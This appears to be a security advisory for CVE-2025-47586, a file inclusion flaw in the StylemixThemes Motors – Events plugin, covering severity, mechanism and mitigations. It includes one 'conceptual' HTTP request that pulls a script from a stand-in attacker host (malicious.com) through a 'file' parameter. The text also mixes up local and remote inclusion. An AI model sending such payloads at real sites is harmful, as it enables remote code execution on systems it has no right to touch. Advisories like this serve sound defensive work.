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CVE-2025-47586: PHP Remote File Inclusion Vulnerability in StylemixThemes Motors – Events

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Overview

CVE-2025-47586 is a critical vulnerability that affects the Motors – Events component of StylemixThemes. The vulnerability is due to improper control of filename for Include/Require statements in the PHP program, hence allowing PHP Local File Inclusion (LFI). This flaw puts any system running Motors – Events (up to version 1.4.7) at risk of potential data leakage and full system compromise. This issue is of significant concern as it presents hackers with an opportunity to execute arbitrary PHP code on the target system.

Vulnerability Summary

CVE ID: CVE-2025-47586
Severity: Critical (9.0 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential data leakage and full system compromise.

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Product | Affected Versions

StylemixThemes Motors – Events | 1.4.7 and below

How the Exploit Works

The PHP Remote File Inclusion vulnerability occurs due to improper control of the filename in Include/Require statements in the PHP program of Motors – Events. This flaw allows an attacker to control what file is included, enabling the attacker to execute arbitrary PHP code in the context of the application.

Conceptual Example Code

The vulnerability can be exploited using a simple HTTP request. Below is a conceptual example:

GET /index.php?file=http://malicious.com/malicious_script.txt HTTP/1.1
Host: target.example.com

In the above example, `http://malicious.com/malicious_script.txt` is the URL of a remote file containing malicious PHP code. The application fails to sanitize the `file` parameter, leading to the inclusion of this remote file, and the execution of the malicious PHP code.

Mitigation Measures

The primary mitigation measure for this vulnerability is to apply the vendor patch once available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. These systems should be configured to detect and block requests that are trying to exploit this vulnerability. It’s also recommended to review and update the PHP configuration settings, disabling allow_url_include and allow_url_fopen to prevent PHP file inclusions from external sources.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

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